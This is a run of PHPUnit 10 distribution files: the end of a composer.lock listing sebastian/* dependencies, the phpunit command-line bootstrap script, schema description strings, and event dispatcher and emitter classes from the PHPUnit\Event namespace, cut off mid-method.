"https://api.github.com/repos/sebastianbergmann/code-unit-reverse-lookup/zipball/5e3a687f7d8ae33fb362c5c0743794bbb2420a1d", "reference": "5e3a687f7d8ae33fb362c5c0743794bbb2420a1d", "shasum": "" }, "require": { "php": ">=8.1" }, "require-dev": { "phpunit/phpunit": "^10.0" }, "type": "library", "extra": { "branch-alias": { "dev-main": "3.0-dev" } }, "autoload": { "classmap": [ "src/" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "BSD-3-Clause" ], "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de" } ], "description": "Looks up which function or method a line of code belongs to", "homepage": "https://github.com/sebastianbergmann/code-unit-reverse-lookup/", "support": { "issues": "https://github.com/sebastianbergmann/code-unit-reverse-lookup/issues", "source": "https://github.com/sebastianbergmann/code-unit-reverse-lookup/tree/3.0.0" }, "funding": [ { "url": "https://github.com/sebastianbergmann", "type": "github" } ], "time": "2023-02-03T06:59:15+00:00" }, { "name": "sebastian/comparator", "version": "5.0.4", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/comparator.git", "reference": "e8e53097718d2b53cfb2aa859b06a41abf58c62e" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/sebastianbergmann/comparator/zipball/e8e53097718d2b53cfb2aa859b06a41abf58c62e", "reference": "e8e53097718d2b53cfb2aa859b06a41abf58c62e", "shasum": "" }, "require": { "ext-dom": "*", "ext-mbstring": "*", "php": ">=8.1", "sebastian/diff": "^5.0", "sebastian/exporter": "^5.0" }, "require-dev": { "phpunit/phpunit": "^10.5" }, "type": "library", "extra": { "branch-alias": { "dev-main": "5.0-dev" } }, "autoload": { "classmap": [ "src/" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "BSD-3-Clause" ], "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de" }, { "name": "Jeff Welch", "email": "whatthejeff@gmail.com" }, { "name": "Volker Dusch", "email": "github@wallbash.com" }, { "name": "Bernhard Schussek", "email": "bschussek@2bepublished.at" } ], "description": "Provides the functionality to compare PHP values for equality", "homepage": "https://github.com/sebastianbergmann/comparator", "keywords": [ "comparator", "compare", "equality" ], "support": { "issues": "https://github.com/sebastianbergmann/comparator/issues", "security": "https://github.com/sebastianbergmann/comparator/security/policy", "source": "https://github.com/sebastianbergmann/comparator/tree/5.0.4" }, "funding": [ { "url": "https://github.com/sebastianbergmann", "type": "github" }, { "url": "https://liberapay.com/sebastianbergmann", "type": "liberapay" }, { "url": "https://thanks.dev/u/gh/sebastianbergmann", "type": "thanks_dev" }, { "url": "https://tidelift.com/funding/github/packagist/sebastian/comparator", "type": "tidelift" } ], "time": "2025-09-07T05:25:07+00:00" }, { "name": "sebastian/complexity", "version": "3.2.0", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/complexity.git", "reference": "68ff824baeae169ec9f2137158ee529584553799" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/sebastianbergmann/complexity/zipball/68ff824baeae169ec9f2137158ee529584553799", "reference": "68ff824baeae169ec9f2137158ee529584553799", "shasum": "" }, "require": { "nikic/php-parser": "^4.18 || ^5.0", "php": ">=8.1" }, "require-dev": { "phpunit/phpunit": "^10.0" }, "type": "library", "extra": { "branch-alias": { "dev-main": "3.2-dev" } }, "autoload": { "classmap": [ "src/" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "BSD-3-Clause" ], "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de", "role": "lead" } ], "description": "Library for calculating the complexity of PHP code units", "homepage": "https://github.com/sebastianbergmann/complexity", "support": { "issues": "https://github.com/sebastianbergmann/complexity/issues", "security": "https://github.com/sebastianbergmann/complexity/security/policy", "source": "https://github.com/sebastianbergmann/complexity/tree/3.2.0" }, "funding": [ { "url": "https://github.com/sebastianbergmann", "type": "github" } ], "time": "2023-12-21T08:37:17+00:00" }, { "name": "sebastian/diff", "version": "5.1.1", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/diff.git", "reference": "c41e007b4b62af48218231d6c2275e4c9b975b2e" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/sebastianbergmann/diff/zipball/c41e007b4b62af48218231d6c2275e4c9b975b2e", "reference": "c41e007b4b62af48218231d6c2275e4c9b975b2e", "shasum": "" }, "require": { "php": ">=8.1" }, "require-dev": { "phpunit/phpunit": "^10.0", "symfony/process": "^6.4" }, "type": "library", "extra": { "branch-alias": { "dev-main": "5.1-dev" } }, "autoload": { "classmap": [ "src/" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "BSD-3-Clause" ], "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de" }, { "name": "Kore Nordmann", "email": "mail@kore-nordmann.de" } ], "description": "Diff implementation", "homepage": "https://github.com/sebastianbergmann/diff", "keywords": [ "diff", "udiff", "unidiff", "unified diff" ], "support": { "issues": "https://github.com/sebastianbergmann/diff/issues", "security": "https://github.com/sebastianbergmann/diff/security/policy", "source": "https://github.com/sebastianbergmann/diff/tree/5.1.1" }, "funding": [ { "url": "https://github.com/sebastianbergmann", "type": "github" } ], "time": "2024-03-02T07:15:17+00:00" }, { "name": "sebastian/environment", "version": "6.1.0", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/environment.git", "reference": "8074dbcd93529b357029f5cc5058fd3e43666984" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/sebastianbergmann/environment/zipball/8074dbcd93529b357029f5cc5058fd3e43666984", "reference": "8074dbcd93529b357029f5cc5058fd3e43666984", "shasum": "" }, "require": { "php": ">=8.1" }, "require-dev": { "phpunit/phpunit": "^10.0" }, "suggest": { "ext-posix": "*" }, "type": "library", "extra": { "branch-alias": { "dev-main": "6.1-dev" } }, "autoload": { "classmap": [ "src/" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "BSD-3-Clause" ], "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de" } ], "description": "Provides functionality to handle HHVM/PHP environments", "homepage": "https://github.com/sebastianbergmann/environment", "keywords": [ "Xdebug", "environment", "hhvm" ], "support": { "issues": "https://github.com/sebastianbergmann/environment/issues", "security": "https://github.com/sebastianbergmann/environment/security/policy", "source": "https://github.com/sebastianbergmann/environment/tree/6.1.0" }, "funding": [ { "url": "https://github.com/sebastianbergmann", "type": "github" } ], "time": "2024-03-23T08:47:14+00:00" }, { "name": "sebastian/exporter", "version": "5.1.4", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/exporter.git", "reference": "0735b90f4da94969541dac1da743446e276defa6" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/sebastianbergmann/exporter/zipball/0735b90f4da94969541dac1da743446e276defa6", "reference": "0735b90f4da94969541dac1da743446e276defa6", "shasum": "" }, "require": { "ext-mbstring": "*", "php": ">=8.1", "sebastian/recursion-context": "^5.0" }, "require-dev": { "phpunit/phpunit": "^10.5" }, "type": "library", "extra": { "branch-alias": { "dev-main": "5.1-dev" } }, "autoload": { "classmap": [ "src/" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "BSD-3-Clause" ], "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de" }, { "name": "Jeff Welch", "email": "whatthejeff@gmail.com" }, { "name": "Volker Dusch", "email": "github@wallbash.com" }, { "name": "Adam Harvey", "email": "aharvey@php.net" }, { "name": "Bernhard Schussek", "email": "bschussek@gmail.com" } ], "description": "Provides the functionality to export PHP variables for visualization", "homepage": "https://www.github.com/sebastianbergmann/exporter", "keywords": [ "export", "exporter" ], "support": { "issues": "https://github.com/sebastianbergmann/exporter/issues", "security": "https://github.com/sebastianbergmann/exporter/security/policy", "source": "https://github.com/sebastianbergmann/exporter/tree/5.1.4" }, "funding": [ { "url": "https://github.com/sebastianbergmann", "type": "github" }, { "url": "https://liberapay.com/sebastianbergmann", "type": "liberapay" }, { "url": "https://thanks.dev/u/gh/sebastianbergmann", "type": "thanks_dev" }, { "url": "https://tidelift.com/funding/github/packagist/sebastian/exporter", "type": "tidelift" } ], "time": "2025-09-24T06:09:11+00:00" }, { "name": "sebastian/global-state", "version": "6.0.2", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/global-state.git", "reference": "987bafff24ecc4c9ac418cab1145b96dd6e9cbd9" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/sebastianbergmann/global-state/zipball/987bafff24ecc4c9ac418cab1145b96dd6e9cbd9", "reference": "987bafff24ecc4c9ac418cab1145b96dd6e9cbd9", "shasum": "" }, "require": { "php": ">=8.1", "sebastian/object-reflector": "^3.0", "sebastian/recursion-context": "^5.0" }, "require-dev": { "ext-dom": "*", "phpunit/phpunit": "^10.0" }, "type": "library", "extra": { "branch-alias": { "dev-main": "6.0-dev" } }, "autoload": { "classmap": [ "src/" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "BSD-3-Clause" ], "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de" } ], "description": "Snapshotting of global state", "homepage": "https://www.github.com/sebastianbergmann/global-state", "keywords": [ "global state" ], "support": { "issues": "https://github.com/sebastianbergmann/global-state/issues", "security": "https://github.com/sebastianbergmann/global-state/security/policy", "source": "https://github.com/sebastianbergmann/global-state/tree/6.0.2" }, "funding": [ { "url": "https://github.com/sebastianbergmann", "type": "github" } ], "time": "2024-03-02T07:19:19+00:00" }, { "name": "sebastian/lines-of-code", "version": "2.0.2", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/lines-of-code.git", "reference": "856e7f6a75a84e339195d48c556f23be2ebf75d0" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/sebastianbergmann/lines-of-code/zipball/856e7f6a75a84e339195d48c556f23be2ebf75d0", "reference": "856e7f6a75a84e339195d48c556f23be2ebf75d0", "shasum": "" }, "require": { "nikic/php-parser": "^4.18 || ^5.0", "php": ">=8.1" }, "require-dev": { "phpunit/phpunit": "^10.0" }, "type": "library", "extra": { "branch-alias": { "dev-main": "2.0-dev" } }, "autoload": { "classmap": [ "src/" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "BSD-3-Clause" ], "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de", "role": "lead" } ], "description": "Library for counting the lines of code in PHP source code", "homepage": "https://github.com/sebastianbergmann/lines-of-code", "support": { "issues": "https://github.com/sebastianbergmann/lines-of-code/issues", "security": "https://github.com/sebastianbergmann/lines-of-code/security/policy", "source": "https://github.com/sebastianbergmann/lines-of-code/tree/2.0.2" }, "funding": [ { "url": "https://github.com/sebastianbergmann", "type": "github" } ], "time": "2023-12-21T08:38:20+00:00" }, { "name": "sebastian/object-enumerator", "version": "5.0.0", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/object-enumerator.git", "reference": "202d0e344a580d7f7d04b3fafce6933e59dae906" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/sebastianbergmann/object-enumerator/zipball/202d0e344a580d7f7d04b3fafce6933e59dae906", "reference": "202d0e344a580d7f7d04b3fafce6933e59dae906", "shasum": "" }, "require": { "php": ">=8.1", "sebastian/object-reflector": "^3.0", "sebastian/recursion-context": "^5.0" }, "require-dev": { "phpunit/phpunit": "^10.0" }, "type": "library", "extra": { "branch-alias": { "dev-main": "5.0-dev" } }, "autoload": { "classmap": [ "src/" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "BSD-3-Clause" ], "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de" } ], "description": "Traverses array structures and object graphs to enumerate all referenced objects", "homepage": "https://github.com/sebastianbergmann/object-enumerator/", "support": { "issues": "https://github.com/sebastianbergmann/object-enumerator/issues", "source": "https://github.com/sebastianbergmann/object-enumerator/tree/5.0.0" }, "funding": [ { "url": "https://github.com/sebastianbergmann", "type": "github" } ], "time": "2023-02-03T07:08:32+00:00" }, { "name": "sebastian/object-reflector", "version": "3.0.0", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/object-reflector.git", "reference": "24ed13d98130f0e7122df55d06c5c4942a577957" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/sebastianbergmann/object-reflector/zipball/24ed13d98130f0e7122df55d06c5c4942a577957", "reference": "24ed13d98130f0e7122df55d06c5c4942a577957", "shasum": "" }, "require": { "php": ">=8.1" }, "require-dev": { "phpunit/phpunit": "^10.0" }, "type": "library", "extra": { "branch-alias": { "dev-main": "3.0-dev" } }, "autoload": { "classmap": [ "src/" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "BSD-3-Clause" ], "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de" } ], "description": "Allows reflection of object attributes, including inherited and non-public ones", "homepage": "https://github.com/sebastianbergmann/object-reflector/", "support": { "issues": "https://github.com/sebastianbergmann/object-reflector/issues", "source": "https://github.com/sebastianbergmann/object-reflector/tree/3.0.0" }, "funding": [ { "url": "https://github.com/sebastianbergmann", "type": "github" } ], "time": "2023-02-03T07:06:18+00:00" }, { "name": "sebastian/recursion-context", "version": "5.0.1", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/recursion-context.git", "reference": "47e34210757a2f37a97dcd207d032e1b01e64c7a" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/sebastianbergmann/recursion-context/zipball/47e34210757a2f37a97dcd207d032e1b01e64c7a", "reference": "47e34210757a2f37a97dcd207d032e1b01e64c7a", "shasum": "" }, "require": { "php": ">=8.1" }, "require-dev": { "phpunit/phpunit": "^10.5" }, "type": "library", "extra": { "branch-alias": { "dev-main": "5.0-dev" } }, "autoload": { "classmap": [ "src/" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "BSD-3-Clause" ], "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de" }, { "name": "Jeff Welch", "email": "whatthejeff@gmail.com" }, { "name": "Adam Harvey", "email": "aharvey@php.net" } ], "description": "Provides functionality to recursively process PHP variables", "homepage": "https://github.com/sebastianbergmann/recursion-context", "support": { "issues": "https://github.com/sebastianbergmann/recursion-context/issues", "security": "https://github.com/sebastianbergmann/recursion-context/security/policy", "source": "https://github.com/sebastianbergmann/recursion-context/tree/5.0.1" }, "funding": [ { "url": "https://github.com/sebastianbergmann", "type": "github" }, { "url": "https://liberapay.com/sebastianbergmann", "type": "liberapay" }, { "url": "https://thanks.dev/u/gh/sebastianbergmann", "type": "thanks_dev" }, { "url": "https://tidelift.com/funding/github/packagist/sebastian/recursion-context", "type": "tidelift" } ], "time": "2025-08-10T07:50:56+00:00" }, { "name": "sebastian/type", "version": "4.0.0", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/type.git", "reference": "462699a16464c3944eefc02ebdd77882bd3925bf" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/sebastianbergmann/type/zipball/462699a16464c3944eefc02ebdd77882bd3925bf", "reference": "462699a16464c3944eefc02ebdd77882bd3925bf", "shasum": "" }, "require": { "php": ">=8.1" }, "require-dev": { "phpunit/phpunit": "^10.0" }, "type": "library", "extra": { "branch-alias": { "dev-main": "4.0-dev" } }, "autoload": { "classmap": [ "src/" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "BSD-3-Clause" ], "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de", "role": "lead" } ], "description": "Collection of value objects that represent the types of the PHP type system", "homepage": "https://github.com/sebastianbergmann/type", "support": { "issues": "https://github.com/sebastianbergmann/type/issues", "source": "https://github.com/sebastianbergmann/type/tree/4.0.0" }, "funding": [ { "url": "https://github.com/sebastianbergmann", "type": "github" } ], "time": "2023-02-03T07:10:45+00:00" }, { "name": "sebastian/version", "version": "4.0.1", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/version.git", "reference": "c51fa83a5d8f43f1402e3f32a005e6262244ef17" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/sebastianbergmann/version/zipball/c51fa83a5d8f43f1402e3f32a005e6262244ef17", "reference": "c51fa83a5d8f43f1402e3f32a005e6262244ef17", "shasum": "" }, "require": { "php": ">=8.1" }, "type": "library", "extra": { "branch-alias": { "dev-main": "4.0-dev" } }, "autoload": { "classmap": [ "src/" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "BSD-3-Clause" ], "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de", "role": "lead" } ], "description": "Library that helps with managing the version number of Git-hosted PHP projects", "homepage": "https://github.com/sebastianbergmann/version", "support": { "issues": "https://github.com/sebastianbergmann/version/issues", "source": "https://github.com/sebastianbergmann/version/tree/4.0.1" }, "funding": [ { "url": "https://github.com/sebastianbergmann", "type": "github" } ], "time": "2023-02-07T11:34:05+00:00" }, { "name": "theseer/tokenizer", "version": "1.2.3", "source": { "type": "git", "url": "https://github.com/theseer/tokenizer.git", "reference": "737eda637ed5e28c3413cb1ebe8bb52cbf1ca7a2" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/theseer/tokenizer/zipball/737eda637ed5e28c3413cb1ebe8bb52cbf1ca7a2", "reference": "737eda637ed5e28c3413cb1ebe8bb52cbf1ca7a2", "shasum": "" }, "require": { "ext-dom": "*", "ext-tokenizer": "*", "ext-xmlwriter": "*", "php": "^7.2 || ^8.0" }, "type": "library", "autoload": { "classmap": [ "src/" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "BSD-3-Clause" ], "authors": [ { "name": "Arne Blankerts", "email": "arne@blankerts.de", "role": "Developer" } ], "description": "A small library for converting tokenized PHP source code into XML and potentially other formats", "support": { "issues": "https://github.com/theseer/tokenizer/issues", "source": "https://github.com/theseer/tokenizer/tree/1.2.3" }, "funding": [ { "url": "https://github.com/theseer", "type": "github" } ], "time": "2024-03-03T12:36:25+00:00" } ], "packages-dev": [], "aliases": [], "minimum-stability": "stable", "stability-flags": {}, "prefer-stable": true, "prefer-lowest": false, "platform": { "php": ">=8.1", "ext-dom": "*", "ext-json": "*", "ext-libxml": "*", "ext-mbstring": "*", "ext-xml": "*", "ext-xmlwriter": "*" }, "platform-dev": {}, "platform-overrides": { "php": "8.1.0" }, "plugin-api-version": "2.6.0" } #!/usr/bin/env php * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ if (!version_compare(PHP_VERSION, PHP_VERSION, '=')) { fwrite( STDERR, sprintf( '%s declares an invalid value for PHP_VERSION.' . PHP_EOL . 'This breaks fundamental functionality such as version_compare().' . PHP_EOL . 'Please use a different PHP interpreter.' . PHP_EOL, PHP_BINARY ) ); die(1); } if (version_compare('8.1.0', PHP_VERSION, '>')) { fwrite( STDERR, sprintf( 'This version of PHPUnit requires PHP >= 8.1.' . PHP_EOL . 'You are using PHP %s (%s).' . PHP_EOL, PHP_VERSION, PHP_BINARY ) ); die(1); } if (!ini_get('date.timezone')) { ini_set('date.timezone', 'UTC'); } if (isset($GLOBALS['_composer_autoload_path'])) { define('PHPUNIT_COMPOSER_INSTALL', $GLOBALS['_composer_autoload_path']); unset($GLOBALS['_composer_autoload_path']); } else { foreach (array(__DIR__ . '/../../autoload.php', __DIR__ . '/../vendor/autoload.php', __DIR__ . '/vendor/autoload.php') as $file) { if (file_exists($file)) { define('PHPUNIT_COMPOSER_INSTALL', $file); break; } } unset($file); } if (!defined('PHPUNIT_COMPOSER_INSTALL')) { fwrite( STDERR, 'You need to set up the project dependencies using Composer:' . PHP_EOL . PHP_EOL . ' composer install' . PHP_EOL . PHP_EOL . 'You can learn all about Composer on https://getcomposer.org/.' . PHP_EOL ); die(1); } require PHPUNIT_COMPOSER_INSTALL; $requiredExtensions = ['dom', 'json', 'libxml', 'mbstring', 'tokenizer', 'xml', 'xmlwriter']; $unavailableExtensions = array_filter( $requiredExtensions, static function ($extension) { return !extension_loaded($extension); } ); // Workaround for https://github.com/sebastianbergmann/phpunit/issues/5662 if (!function_exists('ctype_alnum')) { $unavailableExtensions[] = 'ctype'; } if ([] !== $unavailableExtensions) { fwrite( STDERR, sprintf( 'PHPUnit requires the "%s" extensions, but the "%s" %s not available.' . PHP_EOL, implode('", "', $requiredExtensions), implode('", "', $unavailableExtensions), count($unavailableExtensions) === 1 ? 'extension is' : 'extensions are' ) ); die(1); } unset($requiredExtensions, $unavailableExtensions); exit((new PHPUnit\TextUI\Application)->run($_SERVER['argv'])); This Schema file defines the rules by which the XML configuration file of PHPUnit 10.5 may be structured. Root Element The main type specifying the document structure This Schema file defines the rules by which the XML configuration file of PHPUnit 10.0 may be structured. Root Element The main type specifying the document structure This Schema file defines the rules by which the XML configuration file of PHPUnit 10.1 may be structured. Root Element The main type specifying the document structure This Schema file defines the rules by which the XML configuration file of PHPUnit 10.2 may be structured. Root Element The main type specifying the document structure This Schema file defines the rules by which the XML configuration file of PHPUnit 10.3 may be structured. Root Element The main type specifying the document structure This Schema file defines the rules by which the XML configuration file of PHPUnit 10.4 may be structured. Root Element The main type specifying the document structure This Schema file defines the rules by which the XML configuration file of PHPUnit 8.5 may be structured. Root Element The main type specifying the document structure This Schema file defines the rules by which the XML configuration file of PHPUnit 9.0 may be structured. Root Element The main type specifying the document structure This Schema file defines the rules by which the XML configuration file of PHPUnit 9.0 may be structured. Root Element The main type specifying the document structure This Schema file defines the rules by which the XML configuration file of PHPUnit 9.2 may be structured. Root Element The main type specifying the document structure This Schema file defines the rules by which the XML configuration file of PHPUnit 9.3 may be structured. Root Element The main type specifying the document structure This Schema file defines the rules by which the XML configuration file of PHPUnit 9.4 may be structured. Root Element The main type specifying the document structure This Schema file defines the rules by which the XML configuration file of PHPUnit 9.5 may be structured. Root Element The main type specifying the document structure * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class CollectingDispatcher implements Dispatcher { private EventCollection $events; public function __construct() { $this->events = new EventCollection; } public function dispatch(Event $event): void { $this->events->add($event); } public function flush(): EventCollection { $events = $this->events; $this->events = new EventCollection; return $events; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class DeferringDispatcher implements SubscribableDispatcher { private readonly SubscribableDispatcher $dispatcher; private EventCollection $events; private bool $recording = true; public function __construct(SubscribableDispatcher $dispatcher) { $this->dispatcher = $dispatcher; $this->events = new EventCollection; } public function registerTracer(Tracer\Tracer $tracer): void { $this->dispatcher->registerTracer($tracer); } public function registerSubscriber(Subscriber $subscriber): void { $this->dispatcher->registerSubscriber($subscriber); } public function dispatch(Event $event): void { if ($this->recording) { $this->events->add($event); return; } $this->dispatcher->dispatch($event); } public function flush(): void { $this->recording = false; foreach ($this->events as $event) { $this->dispatcher->dispatch($event); } $this->events = new EventCollection; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event; use const PHP_EOL; use function array_key_exists; use function dirname; use function sprintf; use function str_starts_with; use Throwable; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class DirectDispatcher implements SubscribableDispatcher { private readonly TypeMap $typeMap; /** * @psalm-var array> */ private array $subscribers = []; /** * @psalm-var list */ private array $tracers = []; public function __construct(TypeMap $map) { $this->typeMap = $map; } public function registerTracer(Tracer\Tracer $tracer): void { $this->tracers[] = $tracer; } /** * @throws MapError * @throws UnknownSubscriberTypeException */ public function registerSubscriber(Subscriber $subscriber): void { if (!$this->typeMap->isKnownSubscriberType($subscriber)) { throw new UnknownSubscriberTypeException( sprintf( 'Subscriber "%s" does not implement any known interface - did you forget to register it?', $subscriber::class, ), ); } $eventClassName = $this->typeMap->map($subscriber); if (!array_key_exists($eventClassName, $this->subscribers)) { $this->subscribers[$eventClassName] = []; } $this->subscribers[$eventClassName][] = $subscriber; } /** * @throws Throwable * @throws UnknownEventTypeException */ public function dispatch(Event $event): void { $eventClassName = $event::class; if (!$this->typeMap->isKnownEventType($event)) { throw new UnknownEventTypeException( sprintf( 'Unknown event type "%s"', $eventClassName, ), ); } foreach ($this->tracers as $tracer) { try { $tracer->trace($event); // @codeCoverageIgnoreStart } catch (Throwable $t) { $this->handleThrowable($t); } // @codeCoverageIgnoreEnd } if (!array_key_exists($eventClassName, $this->subscribers)) { return; } foreach ($this->subscribers[$eventClassName] as $subscriber) { try { $subscriber->notify($event); } catch (Throwable $t) { $this->handleThrowable($t); } } } /** * @throws Throwable */ public function handleThrowable(Throwable $t): void { if ($this->isThrowableFromThirdPartySubscriber($t)) { Facade::emitter()->testRunnerTriggeredPhpunitWarning( sprintf( 'Exception in third-party event subscriber: %s%s%s', $t->getMessage(), PHP_EOL, $t->getTraceAsString(), ), ); return; } // @codeCoverageIgnoreStart throw $t; // @codeCoverageIgnoreEnd } private function isThrowableFromThirdPartySubscriber(Throwable $t): bool { return !str_starts_with($t->getFile(), dirname(__DIR__, 2)); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This interface is not covered by the backward compatibility promise for PHPUnit */ interface Dispatcher { /** * @throws UnknownEventTypeException */ public function dispatch(Event $event): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This interface is not covered by the backward compatibility promise for PHPUnit */ interface SubscribableDispatcher extends Dispatcher { /** * @throws UnknownSubscriberTypeException */ public function registerSubscriber(Subscriber $subscriber): void; public function registerTracer(Tracer\Tracer $tracer): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event; use PHPUnit\Event\Code\ClassMethod; use PHPUnit\Event\Code\ComparisonFailure; use PHPUnit\Event\Code\Throwable; use PHPUnit\Event\Test\DataProviderMethodCalled; use PHPUnit\Event\Test\DataProviderMethodFinished; use PHPUnit\Event\TestSuite\Filtered as TestSuiteFiltered; use PHPUnit\Event\TestSuite\Finished as TestSuiteFinished; use PHPUnit\Event\TestSuite\Loaded as TestSuiteLoaded; use PHPUnit\Event\TestSuite\Skipped as TestSuiteSkipped; use PHPUnit\Event\TestSuite\Sorted as TestSuiteSorted; use PHPUnit\Event\TestSuite\Started as TestSuiteStarted; use PHPUnit\Event\TestSuite\TestSuite; use PHPUnit\Framework\Constraint; use PHPUnit\TextUI\Configuration\Configuration; use PHPUnit\Util\Exporter; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class DispatchingEmitter implements Emitter { private readonly Dispatcher $dispatcher; private readonly Telemetry\System $system; private readonly Telemetry\Snapshot $startSnapshot; private Telemetry\Snapshot $previousSnapshot; private bool $exportObjects = false; public function __construct(Dispatcher $dispatcher, Telemetry\System $system) { $this->dispatcher = $dispatcher; $this->system = $system; $this->startSnapshot = $system->snapshot(); $this->previousSnapshot = $this->startSnapshot; } /** * @deprecated */ public function exportObjects(): void { $this->exportObjects = true; } /** * @deprecated */ public function exportsObjects(): bool { return $this->exportObjects; } /** * @throws InvalidArgumentException * @throws UnknownEventTypeException */ public function applicationStarted(): void { $this->dispatcher->dispatch( new Application\Started( $this->telemetryInfo(), new Runtime\Runtime, ), ); } /** * @throws InvalidArgumentException * @throws UnknownEventTypeException */ public function testRunnerStarted(): void { $this->dispatcher->dispatch( new TestRunner\Started( $this->telemetryInfo(), ), ); } /** * @throws InvalidArgumentException * @throws UnknownEventTypeException */ public function testRunnerConfigured(Configuration $configuration): void { $this->dispatcher->dispatch( new TestRunner\Configured( $this->telemetryInfo(), $configuration, ), ); } /** * @throws InvalidArgumentException * @throws UnknownEventTypeException */ public function testRunnerBootstrapFinished(string $filename): void { $this->dispatcher->dispatch( new TestRunner\BootstrapFinished( $this->telemetryInfo(), $filename, ), ); } /** * @throws InvalidArgumentException * @throws UnknownEventTypeException */ public function testRunnerLoadedExtensionFromPhar(string $filename, string $name, string $version): void { $this->dispatcher->dispatch( new TestRunner\ExtensionLoadedFromPhar( $this->telemetryInfo(), $filename, $name, $version, ), ); } /** * @psalm-param class-string $className * @psalm-param array $parameters * * @throws InvalidArgumentException * @throws UnknownEventTypeException */ public function testRunnerBootstrappedExtension(string $className, array $parameters): void { $this->dispatcher->dispatch( new TestRunner\ExtensionBootstrapped( $this->telemetryInfo(), $className, $parameters, ), ); } /** * @throws InvalidArgumentException * @throws UnknownEventTypeException */ public function dataProviderMethodCalled(ClassMethod $testMethod, ClassMethod $dataProviderMethod): void { $this->dispatcher->dispatch( new DataProviderMethodCalled( $this->telemetryInfo(), $testMethod, $dataProviderMethod, ), ); } /** * @throws InvalidArgumentException * @throws UnknownEventTypeException */ public function dataProviderMethodFinished(ClassMethod $testMethod, ClassMethod ...$calledMethods): void { $this->dispatcher->dispatch( new DataProviderMethodFinished( $this->telemetryInfo(), $testMethod, ...$calledMethods, ), ); } /** * @throws InvalidArgumentException * @throws UnknownEventTypeException */ public function testSuiteLoaded(TestSuite $testSuite): void { $this->dispatcher->dispatch( new TestSuiteLoaded( $this->telemetryInfo(), $testSuite, ), ); } /** * @throws InvalidArgumentException * @throws UnknownEventTypeException */ public function testSuiteFiltered(TestSuite $testSuite): void { $this->dispatcher->dispatch( new TestSuiteFiltered( $this->telemetryInfo(), $testSuite, ), ); } /** * @throws InvalidArgumentException * @throws UnknownEventTypeException */ public function testSuiteSorted(int $executionOrder, int $executionOrderDefects, bool $resolveDependencies): void { $this->dispatcher->dispatch( new TestSuiteSorted( $this->telemetryInfo(), $executionOrder, $executionOrderDefects, $resolveDependencies, ), ); } /** * @throws InvalidArgumentException * @throws UnknownEventTypeException */ public function 